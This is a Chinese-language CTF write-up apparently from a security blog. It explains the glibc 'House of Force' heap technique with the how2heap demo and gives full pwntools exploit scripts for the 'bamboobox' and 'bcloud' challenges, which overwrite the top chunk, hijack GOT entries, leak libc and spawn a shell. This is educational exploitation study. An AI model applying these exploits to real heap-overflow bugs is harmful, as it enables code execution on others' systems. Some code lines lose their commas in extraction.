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PWN:House Of Force

2020-09-17 09:18


House Of Force原理


how2heap 的例子

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
    fprintf(stderr"\n欢迎学习 House of Force\n\n");
    fprintf(stderr"House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址\n");
    fprintf(stderr"top chunk 是一类特殊的 chunk,在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。\n");
    fprintf(stderr"\n最后我们会覆盖这个变量 %p.\n", bss_var);
    fprintf(stderr"现在变量值是:%s\n", bss_var);
    fprintf(stderr"\n先分配一个 chunk.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr"malloc(256) 的地址: %p.\n", p1 - 2);
    fprintf(stderr"\n现在有两块,一个我们申请的,一个 top chunk.\n");
    int real_size = malloc_usable_size(p1);
    fprintf(stderr"我们申请的 chunk 加上 chunk 头,大小是:%ld.\n", real_size + sizeof(long)*2);
    fprintf(stderr"\n现在假设有一个漏洞,可以覆盖掉 top chunk 的头部分\n");
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr"\ntop chunk 起始地址是:%p\n", ptr_top);
    fprintf(stderr"\n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmap\n");
    fprintf(stderr"top chunk 之前的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr"top chunk 现在的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    fprintf(stderr"\n因为现在 top chunk 的 size 是很大的,所以我们可以调用 malloc 而不会调用 mmap\n");
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr"\n我们想把数据写在这里:%p, top chunk 在:%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr"新申请的 chunk 将会与之前的 top chunk 在同一个位置: %p\n", new_ptr - sizeof(long)*2);
    void* ctr_chunk = malloc(100);
    fprintf(stderr"\n接下来再申请 chunk 的话将会指向我们想要修改的地方\n");
    fprintf(stderr"malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr"现在我们就可以控制 bss_var 这块地方的值了\n");
    fprintf(stderr"... 之前内容是: %s\n", bss_var);
    fprintf(stderr"... 接下来把 \"YEAH!!!\" 写到那里...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr"... 新的内容: %s\n", bss_var);
}

首先申请了 0x100 大小的 chunk,现在的内存布局如下



修改 top chunk 的 size 为一个很大的数



当我们去申请的时候,新的 top chunk 的地址 new_top 应该是 old_top + size(size 是 malloc 的 chunk 的大小加上 chunk 头的大小),我们想要去控制 new_top 就只能通过控制这个 size

我们想要让 new_top 到 0x602060,0x602060-0x20 =old_top + size,所以这个 size 应该是 0x602040-old_top=0xffffef30 即 0xffffffffffffef30,也就是说只要申请 0xffffffffffffef30 大小的 chunk 就能把 top chunk 改到0x602060-0x10,然后再申请一个的时候就是 0x602060 了


为啥减去了0x20 呐?

我们想要申请到 0x602060 的时候要留出它的 chunk 头 0x10 这就是说 0x602060-0x10 = old_top+size,即 size = 0x602060-0x10 - old_top,但是还要注意,我们去申请 size 的时候实际上申请的是 size+0x10 大小的 chunk,还要把这个 0x10 留出来,即我们要少申请 0x10 大小的 size

所以 size = 0x602060-0x10 - old_top -0x10,减的一共是 0x20


这之后再去申请一个 chunk 就能控制前面定义的变量了



HITCON training lab 11


因为程序一开始会申请一个堆块,存放 hello 和 goodbye 的函数指针,所以思路是把内存申请的那里,然后修改 goodbye 指针为 magic


create(0x30"yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)


先申请一个,然后通过编辑一个更大的 size 把 top chunk 给改掉




想要修改那个指针就需要 malloc 申请到 topchunk - 0x60 也就是 0x603000 那里,另外还要减去 0x10 我们申请的那个 size 的 chunk 头的大小



offset=-0x60-0x10
create(offset,'1234')
create(0x10,p64(magic)*2)
quit()


改后:



可以读到 flag,wp 减的 0x8 跟 0xf 不懂为啥,按照上面原理那样去做是可以达到目的的 Orz...



完整 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./bamboobox')

def cmd(choice):
  p.sendlineafter('',str(choice))
  
def create(size,content):
  cmd(2)
  p.sendlineafter('item name:',str(size))
  p.sendlineafter('item:',content)

def edit(index,size,content):
  cmd(3)
  p.sendlineafter('of item:',str(index))
  p.sendlineafter('item name:',str(size))
  p.sendlineafter('the item:',content)

def delete(index):
  cmd(4)
  p.sendlineafter('of item:',str(index))

def quit():
  cmd(5)

magic = 0x400d49
create(0x30"yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)
offset=-0x60-0x10
create(offset,'1234')
create(0x10,p64(magic)*2)
quit()
p.interactive()


2016 BCTF bcloud


exp:

from pwn import *
context.log_level = 'debug'
context.binary = "./bcloud"
p = process("./bcloud")
elf = ELF("./bcloud")
libc = ELF('./libc.so.6')

def cmd(choice):
  p.sendlineafter('option--->>',str(choice))

def create(size,content):
  cmd(1)
  p.sendlineafter('note content:\n',str(size))
  p.sendlineafter('the content:\n',content)

def edit(index,content):
  cmd(3)
  p.sendlineafter('the id:\n',str(index))
  p.sendlineafter('new content:\n',content)

def delete(index):
  cmd(4)
  p.sendlineafter('the id:\n',str(index))

def syn():
  cmd(5)

p.sendafter('Input your name:\n''a' * 0x40)
p.recvuntil('Hey ' + 'a' * 0x40)
heap_base = u32(p.recv(4)) - 8
p.sendafter('Org:\n''a' * 0x40)
p.sendlineafter('Host:\n', p32(0xffffffff))
topchunk_addr = heap_base + (0x40 + 8) * 3
notesize_addr = 0x0804B0A0
notelist_addr = 0x0804B120
p.sendlineafter('option--->>''1')
offset = notesize_addr - 8 - topchunk_addr
malloc_size = offset - 8
p.sendlineafter('Input the length of the note content:\n',str(malloc_size - 4))
if malloc_size - 4 > 0:
    p.sendlineafter('Input the content:\n''')

payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
create(1000,payload)
edit(0,p32(elf.plt['puts']))
delete(1)
atoi_addr = u32(p.recv(4))
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(2,p32(system_addr))
p.sendlineafter('option--->>''/bin/sh\x00')
p.interactive()


在一开始要求输入 name 的时候后面有一个 strcpy 函数,注意 s 跟 tmp 距离 ebp 的位置,当输入的的 name 够了 0x40 的时候会把 tmp 的地址一起复制过去(strcpy 遇到 \x00 截断)那么可以通过这个来泄漏 heap 的地址



另外,在 org 那里也有这个问题,把 s 复制到 v2 那里,而 v2 是与 top chunk 相邻的,可以通过 v2 覆盖掉 top chunk 的 size



这些个指针什么的画个图来看一下,当我们把 org 中填充满了,然后他就会把后面的 *org 与 host 也给复制过来,那 host 那个地方如果写上 0xffffffff 的话就可以把 top chunk 的 size 给覆盖掉了



p.sendlineafter('Input your name:\n','a'*0x40)
p.recvuntil('Hey ' + 'a' * 0x40)
p.sendlineafter('Org:\n','a'*0x40)
heap_base = u32(p.recv(4)) - 8
p.sendlineafter('Host:\n', p32(0xffffffff))
top_addr=heap_base+(0x40+0x8)*3


然后计算出需要申请的 size,另外这里申请一个负数的时候它直接退出了,但是在 pwntools 的 debug 输出中却可以直接成功!?


offset = notesize_addr - 8 - topchunk_addr
malloc_size = offset - 8
p.sendlineafter('Input the length of the note content:\n',str(malloc_size - 4))


这样 top chunk 就被改到了 0x0804B0A0-0x8 这里,去申请的时候就可以改写


payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
create(1000,payload)


这里前面三个 p32(16) 是 size,然后中间填充一堆 a,后面是到了 notelist_addr 那里,分别是 free 的 got 表项和两个 atoi 的 got 表



这样的话就可以编辑这些 got 表项了,先把 free 的 got 表改成 put 的,泄露出 atoi 的真实地址


edit(0,p32(elf.plt['puts']))
delete(1)
atoi_addr = u32(p.recv(4))

再把 atoi 的 got 表项改成 system 的地址,直接输入 /bin/sh 就可以啦


libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(2,p32(system_addr))
p.sendlineafter('option--->>''/bin/sh\x00')
p.interactive()

知识来源: https://mp.weixin.qq.com/s?__biz=MzU5OTU3NDEzOQ==&mid=2247487432&idx=1&sn=d33ebcf7feb03535abdc6f6bce72440b

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